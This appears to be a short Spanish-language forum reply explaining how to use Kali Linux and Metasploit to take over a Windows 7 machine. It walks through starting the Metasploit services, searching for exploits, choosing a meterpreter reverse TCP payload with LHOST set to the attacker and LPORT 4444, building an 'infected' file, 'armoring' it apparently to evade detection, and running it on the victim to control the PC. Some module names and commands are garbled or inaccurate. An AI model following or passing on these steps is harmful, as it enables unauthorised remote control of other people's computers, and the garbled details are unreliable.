te recomiendo actualizar el kali y metasplot, antes de todo necesitas saber la ip de la 2 maquinas (atacante y victima) si no lo sabes abre la terminal en tu kali y escribe IFCONFIG, en windows IPCONFIG
luego desde kali inicia los servicicios de metasploit con el usuario maximo root ( sudo -s)
1- postgresql service start
2- metasploit service start
luego para verificar que se conecto a la base de datos, escribes db_status y db_connect
luego buscas un exploit para la version de tu windows 7 asi -> search exploit windows 7
te mostrara la lista de todos los exploit eliges uno  -- > use wiindows/exploit/meterpreter/tcp algo asi
luego configurar el lhost=ip-atakante lport= por defecto es el 4444 luego creas el archivo infectado y le das un nombre luego este archivo lo blindas y lo ejecutas en tu maquina victima y listo tendras tu sesion de meterpreter y podras controlar la pc, espero haberte ayudado